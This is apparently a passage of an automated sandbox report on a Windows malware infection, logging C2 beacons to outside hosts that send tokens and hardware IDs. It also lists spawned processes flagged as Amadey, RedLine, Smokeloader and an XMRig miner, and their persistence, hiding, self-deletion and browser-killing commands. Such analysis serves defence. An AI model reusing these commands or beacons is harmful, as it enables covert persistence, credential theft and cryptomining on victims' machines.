2024-12-13 00:52:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 00:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-13 00:52:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49934	116.203.10.31	443	5236	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:52:05 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GLN7YM79RI58QQI5PHDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-13 00:52:05 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 4c 4e 37 59 4d 37 39 52 49 35 38 51 51 49 35 50 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 63 36 30 36 32 38 33 63 39 61 63 66 33 35 30 64 64 62 35 65 31 32 63 63 62 33 34 63 30 63 0d 0a 2d 2d 2d 2d 2d 2d 47 4c 4e 37 59 4d 37 39 52 49 35 38 51 51 49 35 50 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 47 4c 4e 37 59 4d 37 39 52 49 35 38 51 51 49 35 50 48 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------GLN7YM79RI58QQI5PHDBContent-Disposition: form-data; name="token"fbc606283c9acf350ddb5e12ccb34c0c------GLN7YM79RI58QQI5PHDBContent-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------GLN7YM79RI58QQI5PHDBCont
2024-12-13 00:52:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 00:52:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-13 00:52:07 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49941	104.21.79.7	443

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:52:07 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3ZJQFXC7F8H8G5K599K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1354 Host: drive-connect.cyou
2024-12-13 00:52:07 UTC	1354	OUT	Data Raw: 2d 2d 33 5a 4a 51 46 58 43 37 46 38 48 38 47 35 4b 35 39 39 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 33 5a 4a 51 46 58 43 37 46 38 48 38 47 35 4b 35 39 39 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 5a 4a 51 46 58 43 37 46 38 48 38 47 35 4b 35 39 39 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 Data Ascii: --3ZJQFXC7F8H8G5K599KContent-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--3ZJQFXC7F8H8G5K599KContent-Disposition: form-data; name="pid"1--3ZJQFXC7F8H8G5K599KContent-Disposition: form-data; name="lid"FATE99--te
2024-12-13 00:52:09 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e4te75iic2mpcb7rjpiavs9osg; expires=Mon, 07-Apr-2025 18:38:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DZFPz6aCgSoZjGixJf5KyPOgPyJxOacfzXfq4kl%2BdAGJNsA%2BOmHVcdanJRXca8INUjCKaFjki0auZ7VYIlm1yRUzQU6eO5TzzLkZwL%2FJcxFgxVWfbw0ZZnCxqcV7OIKjzOVzWbE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f839994a6a5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&min_rtt=1723&rtt_var=657&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2274&delivery_rate=1652518&cwnd=199&unsent_bytes=0&cid=d3eae7369cfd7954&ts=2265&x=0"
2024-12-13 00:52:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-13 00:52:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:50:00
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf50000
File size:	3'198'976 bytes
MD5 hash:	A9F08F49F037318CDD5537419AEAE923
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:50:02
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x30000
File size:	3'198'976 bytes
MD5 hash:	A9F08F49F037318CDD5537419AEAE923
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:50:03
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x30000
File size:	3'198'976 bytes
MD5 hash:	A9F08F49F037318CDD5537419AEAE923
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:51:00
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x30000
File size:	3'198'976 bytes
MD5 hash:	A9F08F49F037318CDD5537419AEAE923
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	19:51:13
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe"
Imagebase:	0xf30000
File size:	2'660'864 bytes
MD5 hash:	2A78CE9F3872F5E591D643459CABE476
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:51:22
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe"
Imagebase:	0x400000
File size:	1'994'240 bytes
MD5 hash:	0A2E0CF36CB5586FB3ECFF4872B27B9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000009.00000002.2992170547.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2978110403.0000000000E2C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:51:34
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	19:51:38
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7914e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	19:51:38
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	19:51:38
Start date:	12/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff75bbc0000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:51:38
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x8b0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:51:38
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x8b0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:51:39
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x8b0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:51:39
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x8b0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:51:40
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x8b0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:51:40
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x8b0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:51:40
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x8b0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:51:40
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x8b0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:51:40
Start date:	12/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff63db50000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:51:40
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff7bd0a0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff63db50000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe"
Imagebase:	0x500000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff63db50000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	19:51:41
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:51:42
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7a9c10000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:51:44
Start date:	12/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000002.2751971624.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000002.2750266127.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000002.2750266127.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000002.2751844603.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:51:43
Start date:	12/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff71e800000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	19:51:44
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	19:51:44
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:51:45
Start date:	12/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff6af740000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	19:51:45
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe"
Imagebase:	0x500000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000002.2970973072.0000000001430000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	19:51:47
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe"
Imagebase:	0x400000
File size:	393'728 bytes
MD5 hash:	DFD5F78A711FA92337010ECC028470B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000029.00000002.2980338808.00000000022E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000029.00000002.2979879901.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	19:51:54
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe"
Imagebase:	0xe00000
File size:	970'752 bytes
MD5 hash:	04D0F18AC9713155E57D1C5E6733C25D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	19:51:55
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xa70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	19:51:55
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xa70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
